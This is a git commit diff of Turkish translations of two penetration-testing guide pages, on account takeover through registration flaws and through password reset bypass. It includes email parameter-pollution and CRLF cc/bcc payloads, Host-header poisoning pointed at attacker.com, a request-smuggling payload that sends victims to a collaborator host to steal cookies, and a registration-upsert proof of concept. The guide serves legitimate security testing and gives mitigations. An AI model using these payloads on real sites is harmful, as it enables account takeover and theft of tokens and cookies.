Translated ['', 'src/pentesting-web/registration-vulnerabilities.md', 's

This commit is contained in:
Translator 2025-09-30 09:28:09 +00:00
parent f2ee1ecbb6
commit dd1d8d43ba
2 changed files with 180 additions and 146 deletions

View File

@ -1,79 +1,79 @@
# Kayıt & Ele Geçirme Açıkları # Kayıt ve Hesap Ele Geçirme Zafiyetleri
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Kayıt Ele Geçirme ## Kayıt Üzerinden Hesap Ele Geçirme
### Çift Kayıt ### Yinelenen Kayıt
- Mevcut bir kullanıcı adı kullanarak oluşturmayı deneyin - Mevcut bir kullanıcı adı kullanarak oluşturmaya çalışın
- E-postayı değiştirerek kontrol edin: - E-posta varyasyonlarını kontrol edin:
- büyük harf - büyük harf kullanımı
- \+1@ - \+1@
- e-postada bazı noktalar ekleyin - e-postaya nokta ekleme
- e-posta adında özel karakterler (%00, %09, %20) - e-posta isminde özel karakterler (%00, %09, %20)
- E-postadan sonra siyah karakterler koyun: `test@test.com a` - E-posta sonrasına boş karakterler koyun: `test@test.com a`
- victim@gmail.com@attacker.com - victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com - victim@attacker.com@gmail.com
### Kullanıcı Adı Sayımı ### Kullanıcı Adı Tespiti
Bir kullanıcı adının uygulama içinde zaten kaydedilip kaydedilmediğini anlamaya çalışın. Uygulama içinde bir kullanıcı adının zaten kayıtlı olup olmadığını tespit edip edemeyeceğinizi kontrol edin.
### Şifre Politikası ### Parola Politikası
Bir kullanıcı oluştururken şifre politikasını kontrol edin (zayıf şifreler kullanıp kullanamayacağınızı kontrol edin).\ Kullanıcı oluştururken parola politikasını kontrol edin (zayıf parolalar kullanıp kullanamayacağınızı test edin).\
Bu durumda kimlik bilgilerini brute force ile denemeyi deneyebilirsiniz. Bu durumda credentials üzerinde bruteforce deneyebilirsiniz.
### SQL Enjeksiyonu ### SQL Injection
[**Bu sayfayı kontrol edin** ](sql-injection/index.html#insert-statement) kayıt formlarında **SQL Enjeksiyonları** aracılığıyla hesap ele geçirme veya bilgi çıkarma girişiminde bulunmayı öğrenmek için. [**Check this page** ](sql-injection/index.html#insert-statement) kayıt formlarında hesap ele geçirme veya bilgi çıkarmak için **SQL Injections** kullanmayı öğrenin.
### Oauth Ele Geçirmeleri ### Oauth Takeovers
{{#ref}} {{#ref}}
oauth-to-account-takeover.md oauth-to-account-takeover.md
{{#endref}} {{#endref}}
### SAML ıkları ### SAML Zafiyetleri
{{#ref}} {{#ref}}
saml-attacks/ saml-attacks/
{{#endref}} {{#endref}}
### E-postayı Değiştir ### E-posta Değiştirme
Kayıtlı olduğunuzda e-postayı değiştirmeyi deneyin ve bu değişikliğin doğru bir şekilde doğrulanıp doğrulanmadığını veya keyfi e-postalara değiştirip değiştiremeyeceğinizi kontrol edin. Kayıtlıyken e-postayı değiştirmeyi deneyin ve bu değişikliğin doğru şekilde doğrulanıp doğrulanmadığını veya rastgele e-posta adreslerine değiştirilebilip değiştirilemeyeceğini kontrol edin.
### Daha Fazla Kontrol ### Diğer Kontroller
- **Tek kullanımlık e-postalar** kullanıp kullanamayacağınızı kontrol edin - **tek kullanımlık e-postalar** kullanıp kullanamayacağınızı kontrol edin
- **Uzun** **şifre** (>200) **DoS**'ye yol açar - **Uzun** **parola** (>200) **DoS**'a yol açar
- **Hesap oluşturma üzerindeki oran limitlerini kontrol edin** - Hesap oluşturma için **rate limits**'ı kontrol edin
- username@**burp_collab**.net kullanın ve **callback**'i analiz edin - username@**burp_collab**.net kullanın ve **callback**'i analiz edin
## **Şifre Sıfırlama Ele Geçirme** ## **Parola Sıfırlama ile Hesap Ele Geçirme**
### Referrer Üzerinden Şifre Sıfırlama Token Sızıntısı <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a> ### Parola Sıfırlama Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Şifre sıfırlama talebinde bulunun ve e-posta adresinizi kullanın 1. E-posta adresinize parola sıfırlama isteği gönderin
2. Şifre sıfırlama bağlantısına tıklayın 2. Parola sıfırlama linkine tıklayın
3. Şifreyi değiştirmeyin 3. Parolayı değiştirmeyin
4. Herhangi bir 3. parti web sitesine tıklayın (örneğin: Facebook, Twitter) 4. Herhangi bir 3rd party siteye tıklayın (örn: Facebook, twitter)
5. Burp Suite proxy'sinde isteği yakalayın 5. İsteği Burp Suite proxy ile yakalayın
6. Referer başlığının şifre sıfırlama token'ını sızdırıp sızdırmadığını kontrol edin. 6. Referer header'ının password reset token'ı leak edip etmediğini kontrol edin.
### Şifre Sıfırlama Zehirleme <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a> ### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Burp Suite'te şifre sıfırlama isteğini yakalayın 1. Parola sıfırlama isteğini Burp Suite ile yakalayın
2. Burp Suite'te aşağıdaki başlıkları ekleyin veya düzenleyin: `Host: attacker.com`, `X-Forwarded-Host: attacker.com` 2. Burp Suite'te aşağıdaki header'ları ekleyin veya düzenleyin: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Değiştirilmiş başlıkla isteği iletin\ 3. Değiştirilmiş header ile isteği iletin\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com` `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. _host başlığına_ dayalı bir şifre sıfırlama URL'si arayın: `https://attacker.com/reset-password.php?token=TOKEN` 4. Host header'ına dayalı bir parola sıfırlama URL'si arayın, örneğin: `https://attacker.com/reset-password.php?token=TOKEN`
### E-posta Parametresi Üzerinden Şifre Sıfırlama <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a> ### Parola Sıfırlama Email Parametresi Üzerinden <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash ```bash
# parameter pollution # parameter pollution
email=victim@mail.com&email=hacker@mail.com email=victim@mail.com&email=hacker@mail.com
@ -90,58 +90,58 @@ email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com email=victim@mail.com|hacker@mail.com
``` ```
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a> ### IDOR API Parametreleri Üzerinde <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. Saldırgan, hesabıyla giriş yapmalı ve **Şifre değiştir** özelliğine gitmelidir. 1. Saldırgan kendi hesabıyla giriş yapıp **Şifre değiştir** özelliğine gitmeli.
2. Burp Suite'i başlatın ve isteği yakalayın. 2. Burp Suite'i başlatın ve isteği yakalayın
3. İsteği tekrar gönderme sekmesine gönderin ve parametreleri düzenleyin: Kullanıcı ID/e-posta\ 3. Repeater sekmesine gönderin ve parametreleri düzenleyin : User ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a> ### Zayıf Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Şifre sıfırlama token'ı her seferinde rastgele ve benzersiz olarak üretilmelidir.\ Password reset token her seferinde rastgele oluşturulmuş ve benzersiz olmalıdır.\
Token'ın süresinin dolup dolmadığını veya her zaman aynı olup olmadığını belirlemeye çalışın, bazı durumlarda üretim algoritması zayıf olabilir ve tahmin edilebilir. Aşağıdaki değişkenler algoritma tarafından kullanılabilir. Token'ın süresinin dolup dolmadığını ya da her zaman aynı olup olmadığını belirlemeye çalışın; bazı durumlarda jenerasyon algoritması zayıftır ve tahmin edilebilir. Aşağıdaki değişkenler algoritma tarafından kullanılabilir.
- Zaman damgası - Timestamp
- KullanıcıID - UserID
- Kullanıcının E-postası - Email of User
- Ad ve Soyad - Firstname and Lastname
- Doğum Tarihi - Date of Birth
- Kriptografi - Cryptography
- Sadece sayı - Sadece sayı
- Küçük token dizisi (karakterler arasında \[A-Z,a-z,0-9]) - Küçük token dizisi ( characters between \[A-Z,a-z,0-9])
- Token tekrar kullanımı - Token reuse
- Token son kullanma tarihi - Token expiration date
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a> ### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Belirli bir e-posta için API/UI kullanarak bir şifre sıfırlama isteği tetikleyin, örneğin: test@mail.com 1. Belirli bir e-posta için API/UI üzerinden şifre sıfırlama isteği tetikleyin, örn: test@mail.com
2. Sunucu yanıtını inceleyin ve `resetToken` kontrol edin. 2. Inspect the server response and check for `resetToken`
3. Ardından token'ı `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` gibi bir URL'de kullanın. 3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a> ### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Sistemde, kurbanın kullanıcı adıyla aynı olan bir kullanıcı adıyla kaydolun, ancak kullanıcı adının önüne ve/veya arkasına boşluklar ekleyin. örneğin: `"admin "` 1. Hedefin kullanıcı adıyla aynı, ancak kullanıcı adının önüne ve/veya sonuna boşluk karakterleri eklenmiş bir kullanıcı adıyla sisteme kayıt olun. e.g: `"admin "`
2. Kötü niyetli kullanıcı adınızla bir şifre sıfırlama talep edin. 2. Kötü amaçlı kullanıcı adınızla şifre sıfırlama isteği yapın.
3. E-postanıza gönderilen token'ı kullanarak kurbanın şifresini sıfırlayın. 3. E-postanıza gönderilen token'ı kullanıp hedefin şifresini sıfırlayın.
4. Yeni şifreyle kurbanın hesabına bağlanın. 4. Yeni şifreyle hedef hesabına giriş yapın.
CTFd platformu bu saldırıya karşı savunmasızdı.\ The platform CTFd was vulnerable to this attack.\
Bkz: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a> ### Cross Site Scripting ile Hesap Ele Geçirme <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Uygulama içinde veya çerezlerin ana alanla sınırlı olduğu bir alt alan adında bir XSS bulun: `*.domain.com` 1. Uygulama içinde veya çerezler ana domain'e scope edilmişse bir alt alan adında XSS bulun : `*.domain.com`
2. Mevcut **oturum çerezini** sızdırın. 2. Leak the current **sessions cookie**
3. Çerezi kullanarak kullanıcı olarak kimlik doğrulaması yapın. 3. Çerezi kullanarak kullanıcı olarak kimlik doğrulaması yapın
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a> ### HTTP Request Smuggling ile Hesap Ele Geçirme <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. **smuggler** kullanarak HTTP Request Smuggling türünü tespit edin (CL, TE, CL.TE)\ 1\. HTTP Request Smuggling türünü tespit etmek için **smuggler** kullanın (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Aşağıdaki verilerle `POST / HTTP/1.1`'i geçersiz kılacak bir istek oluşturun:\ 2\. `POST / HTTP/1.1` üzerine aşağıdaki veri ile overwrite edecek bir istek oluşturun:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` amacıyla kurbanları burpcollab'a yönlendirmek ve çerezlerini çalmak\ `GET http://something.burpcollaborator.net HTTP/1.1 X:` amacı victimleri burpcollab'e open redirect ederek çerezlerini çalmaktır\
3\. Son istek aşağıdaki gibi görünebilir 3\. Son istek şu şekilde görünebilir
``` ```
GET / HTTP/1.1 GET / HTTP/1.1
Transfer-Encoding: chunked Transfer-Encoding: chunked
@ -153,20 +153,20 @@ Content-Length: 83
GET http://something.burpcollaborator.net HTTP/1.1 GET http://something.burpcollaborator.net HTTP/1.1
X: X X: X
``` ```
Hackerone bu hatayı istismar eden raporlar\ Hackerone bu hatanın istismar edildiğini rapor ediyor\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\ \* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666) \* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### CSRF ile Hesap Ele Geçirme <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a> ### CSRF ile Hesap Ele Geçirme <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. CSRF için bir payload oluşturun, örneğin: “Şifre değişikliği için otomatik gönderim yapan HTML formu 1. CSRF için bir payload oluşturun, örn: “HTML form with auto submit for a password change
2. Payload'u gönderin 2. Payload'u gönderin
### JWT ile Hesap Ele Geçirme <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a> ### JWT ile Hesap Ele Geçirme <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token, bir kullanıcıyı kimlik doğrulamak için kullanılabilir. JSON Web Token bir kullanıcıyı doğrulamak için kullanılıyor olabilir.
- JWT'yi başka bir Kullanıcı ID'si / E-posta ile düzenleyin - JWT'yi başka bir User ID / Email ile düzenleyin
- Zayıf JWT imzasını kontrol edin - Zayıf JWT imzasını kontrol edin
@ -174,8 +174,29 @@ JSON Web Token, bir kullanıcıyı kimlik doğrulamak için kullanılabilir.
hacking-jwt-json-web-tokens.md hacking-jwt-json-web-tokens.md
{{#endref}} {{#endref}}
## Registration-as-Reset (Upsert on Existing Email)
Bazı signup handlers, sağlanan email zaten mevcutsa upsert gerçekleştirir. Eğer endpoint email ve password içeren minimal bir body kabul ediyor ve sahiplik doğrulamasını zorunlu kılmıyorsa, kurbanın email'ini göndererek onların password'ünü pre-auth olarak üzerine yazabilirsiniz.
- Discovery: bundled JS (veya mobil uygulama trafiği) üzerinden endpoint isimlerini toplayın, sonra ffuf/dirsearch kullanarak /parents/application/v4/admin/FUZZ gibi base path'leri fuzz edin.
- Method hints: "Only POST request is allowed." gibi mesaj dönen bir GET genellikle doğru verb'ü ve JSON body beklendiğini gösterir.
- Gerçek dünyada gözlemlenen minimal body:
```json
{"email":"victim@example.com","password":"New@12345"}
```
Örnek PoC:
```http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
```
Etkisi: Herhangi bir reset token, OTP veya email verification gerektirmeden Full Account Takeover (ATO).
## Referanslar ## Referanslar
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover) - [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -1,13 +1,13 @@
# Şifre Sıfırlama / Unutulmuş Şifre Atlatma # Reset/Unutulmuş Parola Bypass
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## **Şifre Sıfırlama Token Leak Referer Üzerinden** ## **Password Reset Token Leak Via Referrer**
- HTTP referer header, URL içinde şifre sıfırlama token'ı varsa token'ı leak edebilir. Bu, bir kullanıcı şifre sıfırlama talep ettikten sonra üçüncü taraf bir siteye tıklarsa oluşabilir. - HTTP referer header, URL'de yer alıyorsa password reset token'ı leak edebilir. Bu, bir kullanıcı parola sıfırlama talep ettikten sonra üçüncü taraf bir site linkine tıkladığında gerçekleşebilir.
- **Impact**: Cross-Site Request Forgery (CSRF) saldırıları yoluyla potansiyel hesap ele geçirme. - **Etkisi**: Hesap ele geçirme potansiyeli Cross-Site Request Forgery (CSRF) saldırıları yoluyla.
- **Exploitation**: HTTP referer header içinde bir şifre sıfırlama token'ının leak olup olmadığını kontrol etmek için, **e-posta adresinize şifre sıfırlama isteği gönderin** ve verilen **reset linkine tıklayın**. **Hemen parolayı değiştirmeyin**. Bunun yerine, **istekleri Burp Suite ile intercept ederken** bir **üçüncü taraf web sitesine** (ör. Facebook veya Twitter) gidin. İstekleri inceleyerek **referer header içinde şifre sıfırlama token'ı olup olmadığını** kontrol edin — bu, hassas bilgilerin üçüncü taraflara açığa çıkmasına neden olabilir. - **Sömürme**: referer header'da password reset token leak edip etmediğini kontrol etmek için, e-posta adresinize bir **password reset** talebi gönderin ve sağlanan **reset link**e tıklayın. **Parolanızı hemen değiştirmeyin**. Bunun yerine, istekleri **Burp Suite kullanarak** yakalarken üçüncü taraf bir web sitesine (ör. Facebook veya Twitter) **gidin**. İstekleri inceleyin ve **referer header'ın password reset token içerip içermediğini** kontrol edin; bu, hassas bilgilerin üçüncü taraflara açığa çıkmasına neden olabilir.
- **References**: - **Referanslar**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693) - [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379) - [HackerOne Report 272379](https://hackerone.com/reports/272379)
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) - [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
@ -15,122 +15,122 @@
## **Password Reset Poisoning** ## **Password Reset Poisoning**
- Saldırganlar, password reset istekleri sırasında Host header'ı manipüle ederek reset linkini kötü amaçlı bir siteye yönlendirebilir. - Saldırganlar, password reset istekleri sırasında Host header'ı manipüle ederek reset linkini kötü amaçlı bir siteye yönlendirebilir.
- **Impact**: Reset token'larının saldırgana leak olmasıyla potansiyel hesap ele geçirme. - **Etkisi**: reset token'larının saldırganlara leaking edilmesiyle potansiyel hesap ele geçirmeye yol açar.
- **Mitigation Steps**: - **Önlemler**:
- Host header'ı izin verilen domainler listesiyle doğrulayın. - Host header'ı izin verilen domain'lerin bir whitelist'ine karşı doğrulayın.
- Mutlak URL'ler oluşturmak için güvenli, server-side yöntemler kullanın. - Mutlak URL'ler oluşturmak için güvenli, server-side yöntemler kullanın.
- **Patch**: Password reset URL'lerini oluştururken `$_SERVER['SERVER_NAME']` kullanın; `$_SERVER['HTTP_HOST']` yerine. - **Patch**: password reset URL'lerini oluştururken `$_SERVER['SERVER_NAME']` kullanın; `$_SERVER['HTTP_HOST']` yerine.
- **References**: - **Referanslar**:
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/) - [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Password Reset By Manipulating Email Parameter** ## **Password Reset By Manipulating Email Parameter**
Saldırganlar, reset linkini başka bir yere yönlendirmek için password reset isteğindeki email parametresini manipüle edebilir. Saldırganlar, reset linkini yönlendirmek için password reset isteğine ek email parametreleri ekleyerek isteği manipüle edebilir.
- Saldırgan e-posta adresini ikinci parametre olarak & kullanarak ekleyin & - Saldırgan e-posta adresini ikinci parametre olarak & ile ekleyin
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email=victim@email.com&email=attacker@email.com email=victim@email.com&email=attacker@email.com
``` ```
- İkinci parametre olarak attacker email ekle %20 kullanarak - İkinci parametre olarak attacker email'i %20 kullanarak ekle
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email=victim@email.com%20email=attacker@email.com email=victim@email.com%20email=attacker@email.com
``` ```
- attacker email'i ikinci parametre olarak | ile ekle - Saldırgan e-postasını ikinci parametre olarak '|' kullanarak ekleyin
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email=victim@email.com|email=attacker@email.com email=victim@email.com|email=attacker@email.com
``` ```
- cc kullanarak attacker email'i ikinci parametre olarak ekle - cc kullanarak saldırgan e-posta adresini ikinci parametre olarak ekleyin
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld" email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
``` ```
- Saldırgan e-posta adresini bcc kullanarak ikinci parametre olarak ekleyin - attacker e-posta adresini ikinci parametre olarak bcc ile ekle
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld" email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
``` ```
- İkinci parametre olarak attacker email ekleyin, kullanarak , - İkinci parametre olarak attacker email kullanarak ekleyin,
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email="victim@mail.tld",email="attacker@mail.tld" email="victim@mail.tld",email="attacker@mail.tld"
``` ```
- Saldırgan e-posta adresini json dizisinin ikinci parametresi olarak ekleyin - json dizisinde ikinci parametre olarak saldırgan e-posta adresini ekleyin
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
{"email":["victim@mail.tld","atracker@mail.tld"]} {"email":["victim@mail.tld","atracker@mail.tld"]}
``` ```
- **Önleme Adımları**: - **Azaltma Adımları**:
- E-posta parametrelerini sunucu tarafında düzgün şekilde ayrıştırın ve doğrulayın. - Email parametrelerini sunucu tarafında doğru şekilde ayrıştırın ve doğrulayın.
- prepared statements veya parameterized queries kullanın; injection attacks'ı önlemek için. - injection attacks'ı önlemek için prepared statements veya parameterized queries kullanın.
- **Referanslar**: - **Kaynaklar**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872) - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **API Parametreleri Aracılığıyla Herhangi Bir Kullanıcının E-posta ve Parolasının Değiştirilmesi** ## **Herhangi Bir Kullanıcının Email ve Password'ünü API Parametreleriyle Değiştirme**
- Saldırganlar, hesap kimlik bilgilerini değiştirmek için API isteklerindeki e-posta ve parola parametrelerini değiştirebilirler. - Saldırganlar, hesap kimlik bilgilerini değiştirmek için API isteklerindeki email ve password parametrelerini değiştirebilir.
```php ```php
POST /api/changepass POST /api/changepass
[...] [...]
("form": {"email":"victim@email.tld","password":"12345678"}) ("form": {"email":"victim@email.tld","password":"12345678"})
``` ```
- **Hafifletme Adımları**: - **Önleme Adımları**:
- Parametre doğrulaması ve kimlik doğrulama kontrollerinin sıkı olduğundan emin olun. - Parametre doğrulamasını ve kimlik doğrulama kontrollerini sıkı tutun.
- Şüpheli etkinlikleri tespit etmek ve yanıtlamak için güçlü kayıt tutma ve izleme uygulayın. - Şüpheli etkinlikleri tespit etmek ve yanıt vermek için sağlam loglama ve izleme uygulayın.
- **Reference**: - **Reference**:
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) - [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **No Rate Limiting: Email Bombing** ## **No Rate Limiting: Email Bombing**
- Şifre sıfırlama isteklerinde rate limiting olmaması email bombing'e yol açabilir ve kullanıcıyı sıfırlama e-postalarıyla bunaltabilir. - Parola sıfırlama isteklerinde rate limiting olmaması, kullanıcıyı reset e-postalarıyla bunaltan email bombing'e yol açabilir.
- **Hafifletme Adımları**: - **Önleme Adımları**:
- IP adresi veya kullanıcı hesabına göre rate limiting uygulayın. - IP adresi veya kullanıcı hesabına dayalı rate limiting uygulayın.
- Otomatik kötüye kullanımı önlemek için CAPTCHA zorlukları kullanın. - Otomatik kötüye kullanımı önlemek için CAPTCHA doğrulamaları kullanın.
- **References**: - **References**:
- [HackerOne Report 280534](https://hackerone.com/reports/280534) - [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **Find out How Password Reset Token is Generated** ## **Find out How Password Reset Token is Generated**
- Token oluşturma desenini veya yöntemini anlamak, token'ların tahmin edilmesine veya brute-forcing ile ele geçirilmesine yol açabilir. Bazı seçenekler: - Password Reset Token'ın üretimindeki desen veya yöntemi anlamak, tokenları tahmin etmeye veya brute-force yapmaya yol açabilir. Bazı seçenekler:
- Timestamp'a dayalı - Timestamp'e dayalı
- UserID'e dayalı - UserID'e dayalı
- Kullanıcının email'ine dayalı - Kullanıcının email'ine dayalı
- İsim ve soyisme dayalı - Firstname ve Lastname'e dayalı
- Doğum tarihine dayalı - Doğum tarihine dayalı
- Kriptografi tabanlı - Kriptografiye dayalı
- **Hafifletme Adımları**: - **Önleme Adımları**:
- Token oluşturmak için güçlü, kriptografik yöntemler kullanın. - Token üretimi için güçlü, kriptografik yöntemler kullanın.
- Tahmin edilebilirliği önlemek için yeterli rastgelelik ve uzunluk sağlayın. - Öngörülebilirliği önlemek için yeterli rastgelelik ve uzunluk sağlayın.
- **Araçlar**: Burp Sequencer kullanarak token'ların rastgeleliğini analiz edin. - **Araçlar**: Tokenların rastgeleliğini analiz etmek için Burp Sequencer kullanın.
## **Guessable UUID** ## **Guessable UUID**
- UUID'ler (version 1) tahmin edilebilir veya öngörülebilir ise, saldırganlar geçerli reset token'ları üretmek için bunları brute-force ile deneyebilir. Kontrol edin: - Eğer UUID'ler (version 1) tahmin edilebilir veya öngörülebilir ise, saldırganlar geçerli reset token'ları üretmek için brute-force yapabilir. Kontrol edin:
{{#ref}} {{#ref}}
uuid-insecurities.md uuid-insecurities.md
{{#endref}} {{#endref}}
- **Hafifletme Adımları**: - **Önleme Adımları**:
- Rastgelelik için GUID version 4 kullanın veya diğer versiyonlar için ek güvenlik önlemleri uygulayın. - Rastgelelik için GUID version 4 kullanın veya diğer versiyonlar için ek güvenlik önlemleri uygulayın.
- **Araçlar**: GUID'leri analiz etmek ve oluşturmak için [guidtool](https://github.com/intruder-io/guidtool) kullanın. - **Araçlar**: GUID'leri analiz etmek ve oluşturmak için [guidtool](https://github.com/intruder-io/guidtool) kullanın.
## **Response Manipulation: Replace Bad Response With Good One** ## **Response Manipulation: Replace Bad Response With Good One**
- Hata mesajlarını veya kısıtlamaları atlamak için HTTP yanıtlarını manipüle etmek. - Hata mesajlarını veya kısıtlamaları atlatmak için HTTP yanıtlarını manipüle etme.
- **Hafifletme Adımları**: - **Önleme Adımları**:
- Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulayın. - Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulayın.
- Man-in-the-middle saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın. - Man-in-the-middle saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın.
- **Reference**: - **Reference**:
@ -138,41 +138,41 @@ uuid-insecurities.md
## **Using Expired Token** ## **Using Expired Token**
- Süresi dolmuş token'ların hâlâ şifre sıfırlamada kullanılıp kullanılamayacağını test etmek. - Süresi dolmuş tokenların parola sıfırlama için hala kullanılıp kullanılamayacağını test etme.
- **Hafifletme Adımları**: - **Önleme Adımları**:
- Sıkı token süre sonu politikaları uygulayın ve token süre sonunu sunucu tarafında doğrulayın. - Sıkı token süre sonu politikaları uygulayın ve token süresini sunucu tarafında doğrulayın.
## **Brute Force Password Reset Token** ## **Brute Force Password Reset Token**
- IP tabanlı rate limitleri aşmak için Burpsuite ve IP-Rotator gibi araçları kullanarak reset token'ı brute-force etmeyi denemek. - IP tabanlı rate limitleri atlatmak için Burpsuite ve IP-Rotator gibi araçları kullanarak reset token'ı brute-force yapmayı deneme.
- **Hafifletme Adımları**: - **Önleme Adımları**:
- Güçlü rate-limiting ve hesap kilitleme mekanizmaları uygulayın. - Güçlü rate-limiting ve hesap kilitleme mekanizmaları uygulayın.
- Brute-force saldırılarına işaret eden şüpheli etkinlikleri izleyin. - Brute-force saldırılarını işaret eden şüpheli etkinlikleri izleyin.
## **Try Using Your Token** ## **Try Using Your Token**
- Bir saldırganın reset token'ının kurbanın e-postası ile birlikte kullanılıp kullanılamayacağını test etmek. - Bir saldırganın reset token'ının mağdurun email'i ile birlikte kullanılıp kullanılamayacağını test etme.
- **Hafifletme Adımları**: - **Önleme Adımları**:
- Token'ların kullanıcı oturumuna veya diğer kullanıcıya özgü niteliklere bağlı olduğundan emin olun. - Tokenların kullanıcı oturumuna veya başka kullanıcıya özgü özelliklere bağlandığından emin olun.
